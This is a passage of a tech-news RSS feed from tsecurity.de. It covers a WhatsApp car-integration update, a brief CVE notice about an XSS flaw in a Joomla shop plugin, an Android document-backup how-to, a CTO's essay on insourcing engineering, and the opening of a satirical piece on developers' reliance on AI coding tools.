<link>https://tsecurity.de/de/3686400/it-nachrichten/whatsapp-adds-apple-carplay-and-android-auto-upgrades-ipad-sign-ups-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686400/it-nachrichten/whatsapp-adds-apple-carplay-and-android-auto-upgrades-ipad-sign-ups-and-more/</guid>
<pubDate>Wed, 22 Jul 2026 15:06:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[WhatsApp on Apple CarPlay and Android Auto will let users hear and reply to messages, make calls, view their call history, and access favorite contacts hands-free and right from their car's screen.]]></content:encoded>
</item>
<item>
<title><![CDATA[I tried Samsung's new wide Galaxy Z Fold 8, and it's my favorite product of Unpacked 2026]]></title>
<description><![CDATA[The new wide-fold form factor is better than traditional book-style foldables.]]></description>
<link>https://tsecurity.de/de/3686367/it-nachrichten/i-tried-samsungs-new-wide-galaxy-z-fold-8-and-its-my-favorite-product-of-unpacked-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686367/it-nachrichten/i-tried-samsungs-new-wide-galaxy-z-fold-8-and-its-my-favorite-product-of-unpacked-2026/</guid>
<pubDate>Wed, 22 Jul 2026 15:05:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The new wide-fold form factor is better than traditional book-style foldables.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-63264 | JoomShopping Plugin up to 5.9.2 Frontend Controller cross site scripting (EUVD-2026-47619)]]></title>
<description><![CDATA[A vulnerability was found in JoomShopping Plugin up to 5.9.2. It has been declared as problematic. This issue affects some unknown processing of the component Frontend Controller. Executing a manipulation can lead to cross site scripting.

This vulnerability is handled as CVE-2026-63264. The atta...]]></description>
<link>https://tsecurity.de/de/3686262/sicherheitsluecken/cve-2026-63264-joomshopping-plugin-up-to-592-frontend-controller-cross-site-scripting-euvd-2026-47619/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686262/sicherheitsluecken/cve-2026-63264-joomshopping-plugin-up-to-592-frontend-controller-cross-site-scripting-euvd-2026-47619/</guid>
<pubDate>Wed, 22 Jul 2026 14:25:20 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/joomshopping_plugin">JoomShopping Plugin up to 5.9.2</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. This issue affects some unknown processing of the component <em>Frontend Controller</em>. Executing a manipulation can lead to cross site scripting.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-63264">CVE-2026-63264</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS Weekly Roundup: One-click Lambda setup prompt, OpenAI GPT-5.6 models on Bedrock, and more (July 20, 2026)]]></title>
<description><![CDATA[Last week, my team visited Seoul to meet AWS Korea User Group (AWSKRUG) leaders. AWSKRUG is the largest cloud developer community in Korea, with 20 meetup groups organized by topic and area that collectively host over 100 events each year, primarily in Seoul. My team regularly visits countries ac...]]></description>
<link>https://tsecurity.de/de/3685885/ai-nachrichten/aws-weekly-roundup-one-click-lambda-setup-prompt-openai-gpt-56-models-on-bedrock-and-more-july-20-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685885/ai-nachrichten/aws-weekly-roundup-one-click-lambda-setup-prompt-openai-gpt-56-models-on-bedrock-and-more-july-20-2026/</guid>
<pubDate>Wed, 22 Jul 2026 12:07:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Last week, my team visited Seoul to meet AWS Korea User Group (AWSKRUG) leaders. AWSKRUG is the largest cloud developer community in Korea, with 20 meetup groups organized by topic and area that collectively host over 100 events each year, primarily in Seoul. My team regularly visits countries across the Asia-Pacific region, listens to feedback […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Your instant Android backup upgrade]]></title>
<description><![CDATA[Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.



In many areas of our digital life, that mercifully does Just Work™ in exactly that...]]></description>
<link>https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/</guid>
<pubDate>Wed, 22 Jul 2026 12:02:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Here in this high-tech era of 2026, keeping important info backed up and synced <em>should </em>be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.</p>



<p class="wp-block-paragraph">In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.</p>



<p class="wp-block-paragraph">One area where seamless syncing somehow still <em>doesn’t</em> occur, though, is in the domain of <em>downloaded </em>documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on <em>that</em> one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.</p>



<p class="wp-block-paragraph">Well, take a moment to join me in celebration: Amidst all the <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">Gemini gobbledegook</a> that <a href="https://www.computerworld.com/article/2117752/google-gemini-ai.html">no one asked for</a> (and that often falls somewhere between <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">“pointless”</a> and <a href="https://www.computerworld.com/article/3990497/google-gemini-deceit.html">“actively counterproductive”</a>), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to <em>you</em> to find and activate it.</p>



<p class="wp-block-paragraph">Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.</p>



<p class="wp-block-paragraph">All <em>you’ve </em>gotta do is find and flip that one new switch.</p>



<p class="wp-block-paragraph"><strong>[Don’t let yourself miss an ounce of Android Intelligence. </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>Join my free weekly Android Intelligence newsletter</strong></a><strong> and get one new thing to try in your inbox every Friday!]</strong></p>



<h2 class="wp-block-heading"><strong>The Android backup lowdown</strong></h2>



<p class="wp-block-paragraph">So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.</p>



<p class="wp-block-paragraph">‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.</p>



<p class="wp-block-paragraph">Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many <em>other </em>areas of important data are also synced on their own at the app level — outside of any system mechanisms.</p>



<p class="wp-block-paragraph">Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on <em>that</em> <em>one device </em>and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if <em>you </em>go out of your way to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">find and set up a third-party app to handle the heavy lifting</a>.</p>



<p class="wp-block-paragraph">That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.</p>



<p class="wp-block-paragraph">See?</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-documents.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup documents" class="wp-image-4198961" width="1024" height="546" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">The easily overlooked new option for backing up documents on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">The option is on its way to all devices running 2018’s <a href="https://www.computerworld.com/article/1698598/android-9-pie.html">Android 9 release</a> and higher. (If you’re still using a phone with an <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android version</a> older than that, you’re now a whopping <em>eight years </em>out of date, and you have <a href="https://www.computerworld.com/article/1718016/android-upgrades-matter.html"><em>much</em> bigger problems</a>.)</p>



<p class="wp-block-paragraph">Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.</p>



<p class="wp-block-paragraph">Lemme show ya how.</p>



<h2 class="wp-block-heading"><strong>Android’s document backup addition</strong></h2>



<p class="wp-block-paragraph">I promise: This couldn’t be much simpler.</p>



<p class="wp-block-paragraph">No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)</p>



<p class="wp-block-paragraph">Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.</p>



<p class="wp-block-paragraph">However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-options.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup options" class="wp-image-4198962" width="1024" height="742" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Android’s expanded list of backup options — now including documents alongside other forms of on-device data.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.</p>



<p class="wp-block-paragraph">If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.</p>



<p class="wp-block-paragraph">Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That <em>does</em> mean they’ll count against your overall Google storage total, so keep an eye on your <a href="https://drive.google.com/drive/u/0/quota" target="_blank" rel="noreferrer noopener">Drive storage total</a> to make sure you’re in solid shape and look to the <a href="https://one.google.com/storage/management?from=1&amp;g1_landing_page=1" target="_blank" rel="noreferrer noopener">Google One storage hub</a> if you ever want some simple suggestions for freeing up space.</p>



<p class="wp-block-paragraph">Speaking of other Google services: If you ever want to keep <em>other</em> types of locally stored <em>non</em>-document files from an Android device synced and available elsewhere, you can easily rely on <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=in-app%20upgrade.-,Photos%20and%20music,-OK%2C%20so%20they">Google Photos for syncing screenshots and other images</a> — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific <em>individual </em>on-device folders if you want to sync some but not all of those areas) — and you can still turn to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">those aforementioned third-party apps</a> for broader syncing of anything else imaginable.</p>



<p class="wp-block-paragraph">But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on <em>you </em>to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.</p>



<p class="wp-block-paragraph">Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that <em>that </em>can only be a good thing.</p>



<p class="wp-block-paragraph"><em>Get practical Android knowledge in your inbox every Friday with </em><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>my free Android Intelligence newsletter</em></strong></a><strong><em> </em></strong><em>— one new thing to try each week, straight from me to you.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]></title>
<description><![CDATA[Outsourcing worked – until it didn’t.



After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.



The challenges st...]]></description>
<link>https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Outsourcing worked – until it didn’t.</p>



<p class="wp-block-paragraph">After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.</p>



<p class="wp-block-paragraph">The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but<a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html"> </a><a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html">fair questions</a> about IP ownership, operational dependencies and long-term scalability.</p>



<p class="wp-block-paragraph">Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as<a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html"> </a><a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html">insourcing, repatriating or backsourcing</a>) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.</p>



<h2 class="wp-block-heading">Building an internal engineering organization while still delivering</h2>



<p class="wp-block-paragraph">One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.</p>



<p class="wp-block-paragraph">When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.</p>



<p class="wp-block-paragraph">Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.</p>



<p class="wp-block-paragraph">After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.</p>



<p class="wp-block-paragraph">At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.</p>



<p class="wp-block-paragraph">The next challenge was hiring.</p>



<p class="wp-block-paragraph">In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a<a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing"> </a><a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing">product engineering model</a>, where engineers owned broader product outcomes rather than narrowly defined technical functions.</p>



<p class="wp-block-paragraph">During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.</p>



<p class="wp-block-paragraph">I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.</p>



<p class="wp-block-paragraph">Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.</p>



<p class="wp-block-paragraph">The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH &amp; CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.</p>



<h2 class="wp-block-heading">Managing risk without slowing down the business</h2>



<p class="wp-block-paragraph">The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.</p>



<p class="wp-block-paragraph">To reduce delivery risk, we approached the transition in layers.</p>



<p class="wp-block-paragraph">First, we focused on<a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/"> </a><a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/">infrastructure reliability and operational readiness</a> before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.</p>



<p class="wp-block-paragraph">Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.</p>



<p class="wp-block-paragraph">Third, we became extremely disciplined about scope management. One of the most common reasons<a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html"> </a><a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html">insourcing initiatives fail is uncontrolled change</a> during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.</p>



<p class="wp-block-paragraph">Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.</p>



<p class="wp-block-paragraph">By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.</p>



<p class="wp-block-paragraph">A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.</p>



<p class="wp-block-paragraph">My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.</p>



<p class="wp-block-paragraph">The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.</p>



<h2 class="wp-block-heading">Lessons learned for CTOs considering insourcing</h2>



<p class="wp-block-paragraph">Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.</p>



<p class="wp-block-paragraph">The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.</p>



<p class="wp-block-paragraph">Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.</p>



<p class="wp-block-paragraph">Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.</p>



<p class="wp-block-paragraph">The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Seven sins of the modern software developer]]></title>
<description><![CDATA[If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,”...]]></description>
<link>https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,” “idempotency,” and “domain-driven design.”</p>



<p class="wp-block-paragraph">But behind closed doors, late at night, bathed in the glow of a dark-mode IDE, a different and more sordid reality is exposed. Hunched over the console with a manic gleam in the eye, the programmer has become power-drunk on <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">LLMs</a>. Like mad wizards casting spells, we summon the awesome powers of models and agents to satisfy our every programming whim—and commit acts of software engineering that would make <a href="https://en.wikipedia.org/wiki/Fred_Brooks">Fred Brooks</a> blush.</p>



<p class="wp-block-paragraph">Let’s just be honest about what is actually happening.</p>



<h2 class="wp-block-heading">Esoteric knowledge is superfluous</h2>



<p class="wp-block-paragraph">Forget <a href="https://www.infoworld.com/article/2335255/what-is-object-oriented-programming-the-everyday-programming-style.html">OOP</a> and <a href="https://www.infoworld.com/article/2263963/what-is-functional-programming-a-practical-guide.html">FP</a>. Forget the <a href="https://en.wikipedia.org/wiki/CAP_theorem">CAP theorem</a>, the holy crusade of <a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself">DRY</a>, and the design patterns. Honestly, you can even forget what frameworks, runtimes, and deployment platforms you are using. The AI will figure out what is best to use and understand what is already in place. We have more mental bandwidth for working on our side project (a novel about AI taking over the world). </p>



<p class="wp-block-paragraph">Of course, I exaggerate. A little.</p>



<h2 class="wp-block-heading">The docs are dead to us</h2>



<p class="wp-block-paragraph">We still say RTFM, but the truth is, we haven’t really read a page of vendor documentation since 2023. <a href="https://www.infoworld.com/article/3993482/ai-didnt-kill-stack-overflow.html">Stack Overflow</a>, once our Internet Mecca, is a husk. When a package throws a weird exception, we don’t trace the execution path or read the release notes. We highlight the red text, copy the entire 200-line stack trace, dump it into the chat, and wait for the machine to spoon-feed us the solution.</p>



<p class="wp-block-paragraph">Better yet, we just have the agentic IDE spot the error, divine a solution, and ask us if it’s OK. We might glance at the problem-solution description, if we have gone around the circle on the problem for a few cycles. Maybe. If we don’t have the agent set up for auto-confirm.</p>



<p class="wp-block-paragraph">We used to buy heavy tomes like “Rust In Action” that were more like masonry blocks than literature. Now? We just ask an AI to transliterate our JavaScript logic into Rust. We are no longer engineers methodically learning a system. We are glorified copy-paste orchestrators hoping that the stochastic parrot behind the prompt guesses the syntax correctly.</p>



<h2 class="wp-block-heading">We ignore how the back end is wired</h2>



<p class="wp-block-paragraph">We act like we meticulously designed the data flows, carefully crafted the relational constraints, and mindfully mapped the API relationships. The reality is rather more disturbing: We asked the AI to scaffold a modern deployment, hooked it up to a back-end database, and just sort of… ran it.</p>



<p class="wp-block-paragraph">It created security rules we don’t fully understand. They do seem to work, however, which is nice. </p>



<p class="wp-block-paragraph">It generated a schema that we skimmed for about four seconds. It looks reasonable.</p>



<p class="wp-block-paragraph">It wrote <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html" data-type="link" data-id="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure-as-code</a> scripts that provisioned cloud resources we are hoping don’t blow a hole in the budget. Presumably, whoever is in charge of that will manage it by stuffing the metrics into another chatbot.</p>



<p class="wp-block-paragraph">We nodded, committed the code, and went to lunch. If management asked us to manually deploy the stack from scratch, configure the environment variables, and wire the API routes without our chat window, we would give them a vacant stare.</p>



<p class="wp-block-paragraph">We understand that management is also using AI to manage the project.</p>



<h2 class="wp-block-heading">Our tests are uncomfortably incestuous</h2>



<p class="wp-block-paragraph">Test-driven development (TDD) used to be a beautiful dream, ever just beyond reach. It made us feel glorious and despondent at turns. It would burden us with sprawling dependencies if implemented too religiously. (See <a href="https://grugbrain.dev/#grug-on-testing">The Grug Brained Developer</a> in this regard.)</p>



<p class="wp-block-paragraph">But now we can attain 95% test coverage almost effortlessly. Why not just add them in while we are auto-generating everything else?</p>



<p class="wp-block-paragraph">We can now wax at length to anyone who will listen about our astounding test coverage and our automated quality assurance. Unit tests, integration tests, smoke tests, you name it. What we conveniently leave out is that the AI wrote the complex application logic, and then we asked <em>the exact same AI</em> to write the test suite to validate the code it just dreamed up.</p>



<p class="wp-block-paragraph">It is a hermetically sealed loop of algorithmic self-congratulation. The mocks, the edge case, and the assertions are an echo chamber of the model’s original assumptions. The machine is grading its own homework, giving itself an A+.</p>



<p class="wp-block-paragraph">And we are happy to accept this because, beautifully, when the code has to change, the AI will effortlessly hallucinate new tests to adapt to the churn.</p>



<h2 class="wp-block-heading">We pass off the AI’s architecture as strategy</h2>



<p class="wp-block-paragraph">AI can produce astonishing design documents. Truly breathtaking. They are cogent, they’re beautifully formatted, and they seamlessly bridge the gap between high-level business goals and granular technical specs. They even include those auto-generated sequence diagrams that wow management.</p>



<p class="wp-block-paragraph">When we present these spotless architectural proposals in the Tuesday sprint planning meeting, we lean back, take a long sip of coffee, and humbly wave away the team’s praise.</p>



<p class="wp-block-paragraph">What we don’t mention is that we spent exactly four seconds generating it.</p>



<p class="wp-block-paragraph">Are these AI-generated documents just as liable as human ones to hide severe, mortal flaws in scope and alignment? Absolutely. They might contain a foundational logic bomb that will eventually doom the entire project. But the markdown is so crisp, and the bullet points are so persuasive, that the eye just glides right over it. We will never truly know the depth of the disaster until it is far too late. But hey, we’ll burn that bridge when production catches fire. Until then, we are strategic visionaries.</p>



<h2 class="wp-block-heading">We’re addicted to vibe coding (but only in secret)</h2>



<p class="wp-block-paragraph">We loudly mock the term on social media. We roll our eyes in Slack channels when the kids on TikTok talk about <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> their new startups. We fiercely cling to our identities as hardened, serious developers who understand memory management, garbage collection, and bitwise operators. We are professionals, damn it.</p>



